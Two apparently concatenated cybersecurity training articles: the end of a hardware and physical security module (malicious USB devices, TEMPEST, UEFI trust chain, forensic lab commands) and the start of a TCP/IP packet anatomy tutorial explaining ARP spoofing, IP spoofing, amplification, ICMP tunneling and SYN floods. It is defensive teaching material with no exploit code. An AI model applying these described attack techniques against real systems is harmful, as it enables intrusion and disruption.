Malware embedded in USB device firmware that reprograms the device to act as a different device type (e.g., a storage drive reprograms itself as a network adapter to redirect traffic). The firmware is not scanned by antivirus.

USB Killer:
Delivers a high-voltage surge (~200V) through the USB data lines, permanently destroying the motherboard. Used for sabotage.

O.MG Cable:
An Apple Lightning cable lookalike with an embedded Wi-Fi-accessible ARM processor. When connected, it executes payloads wirelessly while appearing to be a normal charging cable.

Countermeasures: USB port control software (allow only registered devices by hardware ID), USB data blockers for charging, port blockers/filers in high-security environments, endpoint protection that monitors HID device enumeration.

9.2.5 Tailgating and Piggybacking

Tailgating: An unauthorized person follows an authorized person through an access-controlled door without proper authentication — by walking close behind them before the door closes.

Piggybacking: With the authorized person's knowledge (who holds the door open) — often through social engineering ("My hands are full, could you hold that?").

In ICS/OT environments, this is particularly dangerous: A tailgater into a substation, water treatment plant, or power control room has physical access to critical infrastructure. The consequences can extend far beyond data breach — operational disruption, equipment damage, and public safety risks.

Countermeasures: Mantrap/airlock entry (two doors requiring individual authentication), turnstile access controls that cannot be tailgated, security culture training, dual-person integrity requirements for critical areas.

9.2.6 TEMPEST — Electromagnetic Emanation Attacks

TEMPEST (a codename, not an acronym — later backronymed to Transient ElectroMagnetic Pulse Emanation Standard) refers to surveillance techniques based on monitoring electromagnetic or acoustic emanations from electronic equipment.

Examples:

Van Eck Phreaking: Reconstructing a monitor's displayed image from its electromagnetic emissions, captured with specialized equipment from a distance
Keyboard emanation: Capturing keystrokes by analyzing the electromagnetic emissions of keyboard electronics
Power line analysis: Reading device activity from power consumption patterns on the power line
Acoustic emanation: Matrix printers' sound patterns reveal what is being printed; mechanical hard drive sounds can reveal access patterns; even CPU fans have been used to exfiltrate data as a covert channel

TEMPEST Shielding: Sensitive government facilities handling classified information use TEMPEST-shielded rooms (Faraday cages), TEMPEST-certified equipment (special shielding of electronics and cables), and proper cable management to prevent emanation leakage.

For your OT/Electrical background: TEMPEST is directly related to EMC (Electromagnetic Compatibility) engineering — a field you likely studied. The difference is that EMC focuses on preventing interference; TEMPEST exploitation uses those same emissions for intelligence gathering. This is another domain where electrical engineering knowledge is directly applicable to cybersecurity.

9.3 Physical Security Controls

Physical security is organized in concentric layers — exactly paralleling the "defense in depth" concept in network security:

Outermost Layer: Perimeter Security
├── Fencing, walls, barriers
├── Lighting
├── CCTV / IP cameras
├── Security guards / patrols
└── Intrusion detection (motion, acoustic, vibration sensors)

Second Layer: Building Access
├── Locked doors
├── Key card / RFID access control
├── Biometric readers (fingerprint, retina, palm vein)
├── Visitor management systems
└── Reception/lobby control

Third Layer: Area Security (Zones within building)
├── Server room access control
├── Classified area separation
├── Mantrap entry systems
├── Camera coverage of sensitive areas
└── Clean desk / clear screen policies

Innermost Layer: Device Security
├── Cable locks for laptops
├── Server rack locks
├── Tamper-evident seals on equipment
├── USB port blockers
└── Hard drive encryption

For OT/ICS environments, add:

Physical protection of PLCs and RTUs
Control room access control
Physical protection of communication cables and terminal blocks
Serial port locks on PLC programming ports
Physical inspection processes for maintenance personnel

9.4 Tamper Evidence and Detection

Tamper-evident seals: Stickers placed over screws, chassis seams, and connectors that visibly degrade or display "VOID" when removed. Used to detect unauthorized opening of equipment. Not tamper-proof (can be defeated with heat, solvents, or careful removal) but provide a deterrent and audit trail.

Tamper detection circuits: Active circuits that detect opening of an enclosure and automatically erase sensitive keys. Used in HSMs, payment terminals, and military equipment.

Chassis intrusion detection: Many motherboards include a chassis intrusion switch that logs to the Windows Event Log when the case is opened. Forensically, this can reveal unauthorized physical access.

10. Hardware Security: The Full Picture

10.1 The Hardware Attack Surface Map

┌─────────────────────────────────────────────────────────────────┐
│                   HARDWARE ATTACK SURFACE                       │
│                                                                 │
│  BEFORE BOOT:                                                   │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ Physical Access → Cold Boot → Evil Maid → PSU Glitch    │   │
│  │ UEFI Implant → Secure Boot Bypass → Boot Malware        │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  AT BOOT:                                                       │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ MBR/GPT Bootkit → GRUB Vulnerability → Signed Malware   │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  DURING OPERATION:                                              │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ Spectre/Meltdown → Rowhammer → DMA Attack               │   │
│  │ Power Analysis → Cache Timing → TEMPEST                  │   │
│  │ Hardware Keylogger → Malicious USB → PCILeech            │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  AFTER OPERATION:                                               │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ Disk Forensics → Cold Boot (brief window)               │   │
│  │ Data Remanence → Improper Destruction → Repurposing     │   │
│  └─────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────┘

10.2 The Hardware Trust Hierarchy

Security professionals often speak of a Root of Trust — the hardware or software component that is trusted implicitly, from which all other trust is derived. Understanding trust chains is fundamental to security architecture.

Hardware Root of Trust (e.g., TPM, HSM, Secure Enclave)
    │
    └── UEFI Firmware (verified by hardware RoT)
            │
            └── Bootloader (verified by Secure Boot / UEFI)
                    │
                    └── OS Kernel (verified by bootloader / code signing)
                            │
                            └── System Services (verified by OS)
                                    │
                                    └── User Applications (verified by OS)

If any link in this chain is broken, everything above it is untrustworthy. This is why hardware-level attacks (UEFI implants, TPM attacks) are so powerful — they break the chain at its base, making every layer above untrustworthy while appearing completely normal to OS-level security tools.

11. Hands-On Lab Exercises

The following exercises are designed to be completed safely and legally in your own environment or dedicated lab machines. Never perform these on systems you do not own or have explicit written permission to test.

Exercise 1: Hardware Identification (30 minutes)

Objective: Build familiarity with actual hardware components.

Windows:

# CPU information
Get-WmiObject Win32_Processor | Select-Object Name, NumberOfCores, NumberOfLogicalProcessors, MaxClockSpeed

# RAM information
Get-WmiObject Win32_PhysicalMemory | Select-Object Manufacturer, Capacity, Speed, MemoryType

# Motherboard information
Get-WmiObject Win32_BaseBoard | Select-Object Manufacturer, Product, SerialNumber

# TPM status
Get-TPM

# BIOS/UEFI information
Get-WmiObject Win32_BIOS | Select-Object Manufacturer, Name, Version, ReleaseDate

# Check if Secure Boot is enabled
Confirm-SecureBootUEFI

Linux:

# CPU information
lscpu
cat /proc/cpuinfo | grep "model name" | head -1

# RAM information
sudo dmidecode -t memory | grep -E "Size:|Speed:|Manufacturer:|Type:"
free -h

# Motherboard information
sudo dmidecode -t baseboard

# BIOS/UEFI information
sudo dmidecode -t bios

# Check for UEFI (as opposed to legacy BIOS)
[ -d /sys/firmware/efi ] && echo "UEFI" || echo "Legacy BIOS"

# Check Secure Boot status
mokutil --sb-state

# List all PCI devices
lspci -v

# Storage devices
lsblk -d -o NAME,SIZE,ROTA,TYPE  # ROTA=1 means spinning disk (HDD)
nvme list  # NVMe drives (requires nvme-cli)

Exercise 2: Memory Forensics Introduction (1–2 hours)

Objective: Understand that RAM contains valuable forensic artifacts.

Setup: Install Volatility 3 on a test Linux machine.

# Install Volatility 3
pip3 install volatility3

# Acquire memory on Linux (requires LiME kernel module)
# First, install kernel headers
sudo apt-get install linux-headers-$(uname -r)

# Clone and build LiME
git clone https://github.com/504ensicsLabs/LiME
cd LiME/src
make

# Load module to dump memory to file
sudo insmod lime-$(uname -r).ko "path=/tmp/memory.lime format=lime"

# Analyze with Volatility (use appropriate profile for your kernel)
python3 vol.py -f /tmp/memory.lime linux.pslist  # List processes
python3 vol.py -f /tmp/memory.lime linux.netstat  # Network connections
python3 vol.py -f /tmp/memory.lime linux.bash     # Bash history from memory

What to look for: Running processes, open network connections, commands executed in bash — all extracted from RAM without touching any log files.

Exercise 3: Storage Analysis (1 hour)

Objective: Understand that "deleted" data may still be recoverable.

# Create a test file, "delete" it, and attempt recovery
dd if=/dev/zero of=test_disk.img bs=1M count=100  # Create 100MB test image
mkfs.ext4 test_disk.img
mkdir /tmp/testmount
sudo mount test_disk.img /tmp/testmount

# Write some test files
echo "This is sensitive data - password: SuperSecret123" | sudo tee /tmp/testmount/secret.txt
sudo umount /tmp/testmount

# Mount and delete the file
sudo mount test_disk.img /tmp/testmount
sudo rm /tmp/testmount/secret.txt
sudo umount /tmp/testmount

# Try to recover the deleted file with Autopsy or TestDisk/PhotoRec
sudo apt-get install testdisk
photorec test_disk.img  # GUI tool for file carving

# Or use strings to simply find the text in the raw image
strings test_disk.img | grep -A 2 -B 2 "sensitive"

Expected outcome: You will recover the "deleted" text because it was not overwritten. This demonstrates why data sanitization is critical.

Exercise 4: UEFI Exploration (30 minutes)

Objective: Understand your system's UEFI configuration.

# Linux: Examine EFI System Partition
ls /sys/firmware/efi/efivars/  # EFI variables

# Read Secure Boot variables
cat /sys/firmware/efi/efivars/SecureBoot-*  # Status
cat /sys/firmware/efi/efivars/SetupMode-*   # Setup mode

# List UEFI boot entries
efibootmgr -v

# Check UEFI firmware information
sudo dmidecode -t 0

Explore your actual UEFI/BIOS settings (restart and press F2/Delete/Escape depending on motherboard):

Locate Secure Boot settings — is it enabled?
Find the TPM configuration — is it enabled?
Locate boot order settings
Find the chassis intrusion detection setting
Look for Intel ME / AMT settings
Find the option to require a UEFI password

12. Key Takeaways and Security Mindset

12.1 The 10 Most Important Hardware Security Concepts

These are the concepts that will appear again and again throughout your entire cybersecurity career. Internalize them now:

Physical access breaks all software security. Physical security is not optional, not secondary, not "someone else's problem." It is the foundation.
The CPU's instruction pointer (RIP) is the crown jewel of exploitation. Every code execution exploit, in its most fundamental form, is about controlling where the CPU fetches its next instruction.
RAM is where the truth lives. Malware may hide on disk, but it must execute in RAM. Memory forensics sees through fileless malware.
Hardware features create hardware vulnerabilities. Spectre exploits speculative execution (a performance feature). Rowhammer exploits DRAM physics. Your adversary thinks about hardware, not just software.
UEFI firmware attacks are the most persistent. Surviving OS reinstalls and drive replacements, UEFI implants represent the apex of persistence. Every incident response investigation should include UEFI integrity verification.
"Deleted" does not mean "gone." On HDDs especially, data persists until overwritten. Forensic tools exploit this. Proper data destruction requires physical destruction or cryptographic erasure.
SED encryption may be weaker than you think. Software-layer encryption (BitLocker, LUKS) is generally more trustworthy than self-encrypting drive hardware encryption.
DMA is a trust boundary. Any device with DMA access (PCIe, Thunderbolt) can read your RAM. IOMMU is the defense. Disable Thunderbolt on sensitive systems when not in use.
GPU is a weapon in password cracking. Understanding GPU-based cracking informs password policy requirements. Anything under 12 characters of mixed complexity is at risk.
Your electrical engineering background is an unfair advantage. Power analysis attacks, TEMPEST, electromagnetic emissions, hardware fault injection — these are domains where deep electronics knowledge translates directly into unique security capabilities.

12.2 The Mindset of a Hardware-Aware Security Professional

Most security professionals think in software abstractions. They think about code, protocols, and configurations. You need to think one level deeper:

When you see a VPN gateway protecting a network, also ask: Who has physical access to that device? Is the management port exposed? Is there a console cable attached?
When you implement full-disk encryption, also ask: Is the key stored in TPM? Is the system set to require a pre-boot PIN? Is Sleep mode disabled to prevent cold boot?
When you assess an OT/ICS environment, also ask: What are the serial ports on that PLC? Is there a diagnostic cable attached? Is the PLC's CPU socket accessible? What does the physical security of this cabinet look like?
When you investigate an incident, also ask: Before you shut this system down — do you have a memory image? Are you destroying volatile evidence?

This layer of thinking — translating physical reality into security implications — is what separates a truly capable security professional from a tool operator.

References and Further Reading

Foundational Academic Papers

Kocher, P., et al. (2019). "Spectre Attacks: Exploiting Speculative Execution." IEEE Security & Privacy. https://spectreattack.com/spectre.pdf
Lipp, M., et al. (2018). "Meltdown: Reading Kernel Memory from User Space." USENIX Security 2018. https://meltdownattack.com/meltdown.pdf
Kim, Y., et al. (2014). "Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors." ISCA 2014. (Original Rowhammer paper)
Halderman, J. A., et al. (2009). "Lest We Remember: Cold Boot Attacks on Encryption Keys." Communications of the ACM.

Module Summary

Topic	Cybersecurity Relevance	Key Attack	Key Defense
CPU	Spectre/Meltdown, RIP control in exploits	Speculative execution side-channel	Microcode updates, software mitigations
RAM	Fileless malware, memory forensics	Cold boot, Rowhammer, process injection	Pre-boot PIN, ECC RAM, IOMMU
ROM	Firmware persistence	HDD firmware implant (Equation Group)	Secure firmware verification, signing
GPU	Password cracking acceleration	GPU memory scraping	Strong passwords (12+ chars, Argon2 hashing)
Motherboard	ME/AMT backdoor, DMA attacks	Intel AMT auth bypass, PCILeech	IOMMU, disable unnecessary ME features
Storage	Data recovery, forensics	Disk imaging, file carving	Crypto erase (NVMe Sanitize), physical destruction
BIOS/UEFI	Most persistent malware class	BlackLotus Secure Boot bypass	Secure Boot, firmware updates, UEFI password
PSU	Hardware fault injection	Power glitching, side-channel analysis	UPS for availability, constant-time crypto
Physical	Attack foundation for everything	Evil Maid, hardware keylogger, tailgating	Layered physical controls, tamper evidence

This document is part of the **Zero to Expert Cybersecurity Roadmap* — a comprehensive, systematic curriculum designed for professionals at the intersection of electrical engineering and cybersecurity.*

Stage 0.1 Complete → Proceed to Stage 0.2: Operating System Fundamentals

Document Version: 1.0

Last Updated: 2025

License: MIT — Free to use, share, and modify with attribution

TCP/IP Stack & Packet Anatomy: The Foundation Every Security Professional Must Master

Rençber AKMAN — Sun, 26 Apr 2026 18:46:47 +0000

There is a question that separates people who work in cybersecurity from people who truly understand cybersecurity: do you know what actually happens between the moment you press Enter and the moment a web server responds? Not the textbook answer. Not the diagram with seven colored boxes. The real answer — at the byte level, at the wire level, at the level where attackers operate.
If you cannot answer that question with precision, every tool you use is a black box. You can run Nmap, you can launch Metasploit, you can analyze traffic in Wireshark — but you are doing it blind. You are pushing buttons and hoping the output makes sense. Real security work, whether offensive or defensive, starts with understanding exactly how data moves across a network, because every attack, every defense, and every detection technique is built directly on top of this foundation.
This article will not give you a surface-level overview. We are going to go deep — deep enough that by the end, the way you look at network traffic will be permanently changed.

Why the OSI Model Is Taught Wrong (And What You Actually Need to Know)
Every networking course starts with the OSI model. Seven layers, nice acronyms, maybe a mnemonic. And then the teacher moves on, and most students never really connect the model to what is actually happening on the wire.
The OSI model is a conceptual framework created in the late 1970s by the International Organization for Standardization. It was designed to allow different vendors to build interoperable networking equipment by agreeing on a common abstraction. It has seven layers: Physical, Data Link, Network, Transport, Session, Presentation, and Application.
The TCP/IP model is what the internet actually runs on. It collapses the OSI model into four layers: Network Access (combining Physical and Data Link), Internet (corresponding to Network), Transport, and Application (combining Session, Presentation, and Application).
Here is why this matters for security: attacks do not happen in a single layer. They happen across layers, exploiting the boundaries between them. A SYN flood attack targets the Transport layer but exhausts resources at the Application layer. DNS cache poisoning targets the Application layer but exploits assumptions made at the Network layer. An ARP spoofing attack targets the Data Link layer but enables man-in-the-middle attacks that intercept Application layer data. If you think in silos — "this is a Layer 4 attack" — you will miss the full picture.
The key insight is this: each layer adds its own header to the data as it goes down the stack (encapsulation), and strips that header as it comes up the stack (decapsulation). Every header contains fields that can be inspected, manipulated, forged, or exploited. Understanding every field in every header is not academic — it is operational.

The Physical and Data Link Layers: Where Bits Become Frames
Before a single packet is transmitted, the physical medium must carry the signal. Ethernet uses differential signaling over twisted pair cables. Wi-Fi encodes data in radio waves. Fiber uses light pulses. The specific encoding mechanism matters less for most security work than what happens at the Data Link layer, which is where Ethernet frames live.
An Ethernet frame has the following structure. It begins with a preamble — seven bytes of alternating 1s and 0s — which allows the receiving network card to synchronize its clock with the incoming signal. This is followed by one byte called the Start Frame Delimiter, which is always 0b10101011, signaling that the actual frame is about to begin.
Then comes the destination MAC address: six bytes. Then the source MAC address: six bytes. Then a two-byte EtherType field, which tells the receiving device what protocol is encapsulated inside — 0x0800 for IPv4, 0x0806 for ARP, 0x86DD for IPv6, 0x8100 for VLAN-tagged frames (802.1Q). Then the payload, between 46 and 1500 bytes. Then a four-byte Frame Check Sequence, which is a CRC-32 checksum used to detect transmission errors.
MAC addresses are 48-bit identifiers burned into network interface cards by manufacturers. The first three bytes are the Organizationally Unique Identifier (OUI), assigned to the manufacturer. The last three bytes are the device-specific portion. MAC addresses are supposed to be globally unique, but they can be trivially changed in software — a technique called MAC spoofing, which is used to bypass MAC-based access controls and to evade detection after a network intrusion.
The Address Resolution Protocol (ARP) operates at this layer and is responsible for mapping IP addresses to MAC addresses. When a device wants to send traffic to an IP address on the local network, it sends an ARP request: a broadcast frame saying "who has IP address X, tell IP address Y." The device with that IP responds with an ARP reply: "IP address X is at MAC address Z."
ARP has no authentication. There is no mechanism in the protocol to verify that the device claiming to own an IP address actually does. This is the root cause of ARP spoofing, also called ARP poisoning. An attacker sends gratuitous ARP replies — unsolicited replies that update the ARP tables of other devices on the network — falsely claiming that a target IP address maps to the attacker's MAC address. The result is that traffic intended for the target gets sent to the attacker instead. This is one of the oldest and most effective man-in-the-middle techniques on local networks, and it still works today because ARP was never designed with security in mind.
The ARP table (sometimes called the ARP cache) on any machine can be viewed with the arp -a command on Windows or Linux. In a penetration test against a local network, checking and manipulating the ARP table is often one of the first steps. Tools like arpspoof and Ettercap automate this process, but understanding what they are doing — sending crafted ARP reply frames — is essential for both executing and detecting these attacks.
VLAN tagging, defined in IEEE 802.1Q, inserts a four-byte tag into the Ethernet frame between the source MAC address and the EtherType field. The tag contains a 12-bit VLAN identifier (allowing up to 4094 VLANs), a 3-bit priority field, and a Drop Eligible Indicator bit. VLANs are used to logically separate network segments on shared physical infrastructure. The security assumption is that devices on different VLANs cannot communicate directly. VLAN hopping attacks exploit misconfigurations in trunk ports and native VLANs to bypass this segmentation, which is a common finding in enterprise network penetration tests.

The IP Layer: Routing, Addressing, and the Fields That Matter
The Internet Protocol is the glue that holds the internet together. It provides two fundamental services: addressing and routing. Every device on the internet has an IP address, and IP is responsible for getting packets from source to destination, potentially across many intermediate routers.
An IPv4 header is a minimum of 20 bytes. Every field in it has security implications.
The first field is the Version, which occupies the top four bits. For IPv4 it is always 4. For IPv6 it is 6. Simple, but occasionally relevant when dealing with protocol confusion attacks.
The Internet Header Length (IHL) field occupies the next four bits and specifies the length of the IP header in 32-bit words. The minimum value is 5 (meaning 20 bytes), and the maximum is 15 (meaning 60 bytes). If IHL is greater than 5, the header contains options. IP options are a source of significant complexity and have been used in various attacks over the years, including the infamous IP record route option which can be used for network reconnaissance.
The Differentiated Services Code Point (DSCP) field is six bits and is used for Quality of Service markings. From a security perspective, an unexpected DSCP value can sometimes indicate traffic that is being specially prioritized, which may be relevant in traffic analysis.
The Total Length field is two bytes and indicates the total size of the IP datagram — header plus payload — in bytes. The maximum value is 65535 bytes. This field has been involved in several historical vulnerabilities. The Ping of Death attack, for example, sent ICMP packets with a total size exceeding 65535 bytes when reassembled from fragments, causing buffer overflows in vulnerable operating systems. The field is also relevant in fragmentation attacks.
The Identification field is two bytes and is used to group IP fragments together. When a large IP datagram must be fragmented to traverse a link with a small Maximum Transmission Unit (MTU), each fragment gets the same Identification value so the receiving host knows which fragments belong together. This field has been used in OS fingerprinting because different operating systems use different strategies for generating Identification values. Some use sequential counters, some use random values, and some use patterns that are specific to particular implementations. By analyzing the Identification field in responses, it is sometimes possible to determine the operating system without even looking at other headers.
The Flags field is three bits. The first bit is reserved and must be zero. The second bit is the Don't Fragment (DF) bit. When set, it tells routers not to fragment the packet. If the packet is too large for a link and the DF bit is set, the router drops the packet and sends an ICMP "Fragmentation Needed" message back to the source. This is the mechanism behind Path MTU Discovery. Attackers sometimes manipulate the DF bit to interfere with MTU discovery or to cause deliberate packet drops. The third bit is the More Fragments (MF) bit, which is set on all fragments except the last one.
The Fragment Offset field is 13 bits and specifies where in the original datagram this fragment belongs, measured in units of eight bytes. IP fragmentation and reassembly has a long history of security vulnerabilities. The Teardrop attack sent overlapping fragments with invalid offsets, causing vulnerable systems to crash when trying to reassemble them. Fragment overlap attacks can also be used to evade intrusion detection systems: the IDS sees harmless fragments, but the target host reassembles them into an attack payload because it resolves the overlap differently than the IDS does.
The Time to Live (TTL) field is one byte and is decremented by each router the packet passes through. When TTL reaches zero, the packet is dropped and an ICMP Time Exceeded message is sent back to the source. This is the mechanism behind the traceroute tool. The initial TTL value also varies by operating system — Windows typically starts at 128, Linux at 64, and older Cisco devices at 255. Observing the TTL of incoming packets can sometimes reveal information about the operating system and the number of hops between you and the sender, though VPNs and proxies complicate this analysis.
The Protocol field is one byte and identifies the transport layer protocol carried in the IP payload: 6 for TCP, 17 for UDP, 1 for ICMP, 50 for ESP (IPsec), 51 for AH (IPsec), 89 for OSPF, and so on. The complete list is maintained by IANA. This field matters in firewall rules and in protocol tunneling. ICMP tunneling, for example, hides data inside ICMP packets by sending it in the payload field of Echo Request or Echo Reply messages, allowing exfiltration through firewalls that block other protocols but allow ICMP. Tools like iodine and ptunnel implement various forms of protocol tunneling.
The Header Checksum is two bytes and covers only the IP header. It is recalculated at every router hop because the TTL changes. This checksum does not protect the payload — that is the responsibility of TCP, UDP, or the application. IP spoofing is possible precisely because IP itself provides no authentication — any device can craft a packet with any source IP address it chooses.
The source and destination IP addresses are four bytes each. IPv4 uses 32-bit addresses, providing approximately 4.3 billion unique addresses. This space is divided into public addresses, routable across the internet, and private address ranges defined in RFC 1918: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16. There are also several other special ranges: 127.0.0.0/8 is the loopback range, 169.254.0.0/16 is the link-local range used when DHCP is unavailable, 224.0.0.0/4 is multicast, and 0.0.0.0/8 represents "this network."
IP address spoofing — sending packets with a forged source address — is trivially easy to implement but has limited utility for attacks that require a response, because the response goes to the forged address, not the attacker. It is, however, extremely useful for reflection and amplification attacks. In these attacks, the attacker sends requests to legitimate servers (DNS resolvers, NTP servers, memcached instances) with the source IP set to the victim's IP address. The servers send their responses to the victim, and if the responses are much larger than the requests (amplification), the victim receives a flood of traffic without the attacker ever sending that volume directly. DNS amplification attacks can achieve amplification factors of 50x or more, meaning the attacker sends 1 GB of traffic and the victim receives 50 GB.
CIDR notation (Classless Inter-Domain Routing) is the standard way to express IP address ranges. An address like 192.168.1.0/24 means the first 24 bits are the network portion and the remaining 8 bits are the host portion, giving 256 addresses (254 usable, since the network address and broadcast address are not usable). Understanding CIDR is essential for reading firewall rules, subnetting, and understanding the scope of network scans.

ICMP: More Than Just Ping
The Internet Control Message Protocol lives at the same layer as IP and is used for diagnostic and error-reporting functions. Most people know it as the protocol behind ping and traceroute, but ICMP has a large number of message types and codes that are relevant to security.
An ICMP message has a one-byte Type field, a one-byte Code field, a two-byte checksum, and a variable-length data field. The Type and Code together specify the exact meaning of the message.
Type 0, Code 0 is Echo Reply — the ping response. Type 8, Code 0 is Echo Request — the ping itself. The data field of a ping can carry arbitrary data. This is the basis of ICMP tunneling: by putting a command or payload in the data field of an Echo Request and reading the response from the data field of the Echo Reply, two parties can establish a covert channel through ICMP.
Type 3 is Destination Unreachable. The Code value specifies why the destination was unreachable. Code 0 means the network is unreachable (routing failure). Code 1 means the host is unreachable. Code 3 means the port is unreachable — this is the response UDP sends when a packet arrives at a closed port. Code 4 means fragmentation is needed but the DF bit is set (relevant for Path MTU Discovery). Code 13 means communication is administratively prohibited — this is what a firewall sends when it drops a packet and is configured to respond. The presence or absence of these responses, and which codes are returned, reveals information about the network topology and firewall configuration.
Type 5 is Redirect. ICMP Redirect messages tell a host to update its routing table to use a different gateway for a particular destination. These messages are legitimate in properly configured networks, but they can also be sent by attackers to redirect traffic through a machine they control. This is another vector for man-in-the-middle attacks. Modern operating systems can be configured to ignore ICMP Redirect messages.
Type 11 is Time Exceeded. Code 0 means TTL exceeded in transit — this is what routers send when they drop a packet with TTL=0. This is how traceroute works: it sends packets with increasing TTL values, starting at 1, and each router along the path drops the packet and sends back a Time Exceeded message, revealing its own IP address. This allows the path to the destination to be mapped. Code 1 is Fragment Reassembly Timeout, sent when a host does not receive all the fragments of a datagram within a time limit.
ICMP is frequently blocked at perimeter firewalls, but this is often done imprecisely. Blocking all ICMP breaks important functionality like Path MTU Discovery and can cause subtle connectivity problems. The recommended approach is to block certain ICMP types while allowing others.

TCP: The Protocol Where Most Attacks Live
The Transmission Control Protocol provides reliable, ordered, and error-checked delivery of a stream of bytes between applications. It is defined in RFC 793, which dates to 1981 and is remarkable in how much of the internet still depends on it essentially unchanged.
A TCP header is a minimum of 20 bytes. Understanding every field is not optional for security work.
The source port is two bytes. The destination port is two bytes. Ports range from 0 to 65535. Ports 0 through 1023 are "well-known" ports, assigned by IANA to specific services: 22 for SSH, 25 for SMTP, 53 for DNS (over both TCP and UDP), 80 for HTTP, 443 for HTTPS, 445 for SMB. Ports 1024 through 49151 are "registered" ports. Ports 49152 through 65535 are "ephemeral" ports, used as source ports for outgoing connections. The specific ephemeral port range varies by operating system and can itself be used for OS fingerprinting.
The Sequence Number is four bytes. TCP is a stream-oriented protocol, and the sequence number identifies where in the byte stream this segment belongs. The sequence number space wraps around — it is a 32-bit counter, so it goes from 0 to 4,294,967,295 and then back to 0.
The initial sequence number (ISN) chosen at the start of a TCP connection is critically important from a security perspective. In early TCP implementations, the ISN was predictable — it was often incremented by a fixed amount for each new connection. This predictability enabled TCP session hijacking attacks, where an attacker who could observe or guess the sequence numbers could inject data into an established TCP connection or terminate it. Modern operating systems use cryptographically random ISNs to prevent this.
The Acknowledgment Number is four bytes and is only meaningful when the ACK flag is set. It contains the next sequence number the sender of this segment expects to receive — in other words, it acknowledges receipt of all bytes up to but not including this number.
The Data Offset field (also called the Header Length) is four bits and specifies the size of the TCP header in 32-bit words, allowing for TCP options. The Flags field is nine bits. In practice, six flags matter most for security work.
The SYN flag (Synchronize) is used to initiate a connection. The ACK flag (Acknowledge) indicates that the Acknowledgment Number field is valid. The FIN flag (Finish) requests a graceful connection termination. The RST flag (Reset) abruptly terminates the connection. The PSH flag (Push) tells the receiving TCP implementation to deliver data to the application immediately rather than buffering it. The URG flag (Urgent) indicates that the Urgent Pointer field is valid, but this flag is rarely used in practice and its use is often associated with certain types of probing.
The combination of flags in a packet carries a lot of information. During normal operation, you see SYN, SYN-ACK, ACK during the handshake, and then ACK packets carrying data, and eventually FIN-ACK exchanges for connection teardown. In network scanning and attack tools, you see unusual flag combinations.
An Xmas tree scan (so called because all the flags are "lit up") sends packets with FIN, PSH, and URG all set. A Null scan sends packets with no flags set. A FIN scan sends packets with only the FIN flag set. According to the TCP standard, a closed port should respond to these unusual packets with a RST, while an open port should silently drop them. This allows port states to be inferred without completing a full TCP handshake, which some intrusion detection systems might not log as aggressively as a full SYN scan. However, this technique only works on certain operating systems — Windows, for example, sends RST for all these packet types regardless of whether the port is open, making these scans unreliable against Windows targets.
The Window Size is two bytes and tells the other side how much buffer space is available — how many bytes can be sent before waiting for an acknowledgment. The window size has historically been used in OS fingerprinting because different operating systems advertise different default window sizes. The TCP window size is also at the center of TCP flow control: if an application cannot consume incoming data fast enough, the window size shrinks, eventually reaching zero, which tells the sender to stop transmitting until further notice. This mechanism can be exploited in TCP window manipulation attacks to slow down connections deliberately.
The Checksum is two bytes and covers the TCP header, the payload, and a "pseudo-header" that includes the source and destination IP addresses, the protocol number (6 for TCP), and the total TCP length. The inclusion of IP address information means that the TCP checksum provides some protection against IP spoofing — a spoofed packet with an incorrect source IP will typically have an invalid checksum. However, calculating a correct checksum for a spoofed packet is trivial, so this is not a meaningful security control.
TCP options are variable-length fields that follow the fixed 20-byte header. The most important options for security work are Maximum Segment Size (MSS), which negotiates the largest segment either side will accept; SACK (Selective Acknowledgment), which allows the receiver to acknowledge non-contiguous blocks of data, improving performance in lossy networks; Window Scale, which allows the window size to exceed 65535 bytes by specifying a shift factor; and Timestamps, which allow round-trip time measurement and provide protection against wrapped sequence numbers. The set of options and their values are one of the most reliable signals used in passive OS fingerprinting — tools like p0f can identify operating systems from a single SYN packet with very high accuracy.

The Three-Way Handshake: Mechanics, Security, and Attacks
Every TCP connection begins with a three-way handshake. Understanding this process in detail is essential because it is the basis of several important attack categories.
In the first step, the client sends a SYN segment. The SYN flag is set. The sequence number is the client's initial sequence number — call it C_ISN. No data is carried in a SYN segment. TCP options like MSS, SACK, Window Scale, and Timestamps are negotiated here.
In the second step, the server sends a SYN-ACK segment. Both the SYN and ACK flags are set. The server chooses its own initial sequence number — call it S_ISN — and places it in the Sequence Number field. The Acknowledgment Number is C_ISN + 1 (acknowledging the client's SYN, which consumed one sequence number). The server's TCP options are also included here.
In the third step, the client sends an ACK segment. The ACK flag is set. The Sequence Number is C_ISN + 1. The Acknowledgment Number is S_ISN + 1. The connection is now established.
The SYN flood attack exploits this handshake. When a server receives a SYN, it must allocate resources to track the half-open connection and then wait for the final ACK. These half-open connections are stored in a structure called the SYN backlog queue or the incomplete connection queue. If an attacker sends a large number of SYN segments with spoofed source addresses, the server allocates resources for each one and sends SYN-ACK responses to the (non-existent) addresses. The final ACKs never arrive. The SYN backlog queue fills up. When it is full, the server cannot accept new legitimate connections. This is a classic denial-of-service attack.
SYN cookies are the primary defense against SYN floods. With SYN cookies enabled, the server does not allocate any resources when it receives a SYN. Instead, it encodes the connection state into the initial sequence number it sends back in the SYN-ACK. Specifically, the server generates a cryptographic hash of the source IP, source port, destination IP, destination port, and a time-based component, and uses this as the SYN-ACK's sequence number. If the client sends a valid ACK — meaning the Acknowledgment Number equals that sequence number plus one — the server can reconstruct the connection state from the ACK and proceed normally. Spoofed SYN packets never result in a valid ACK (because the response goes to the spoofed address), so no resources are allocated until a valid three-way handshake completes.
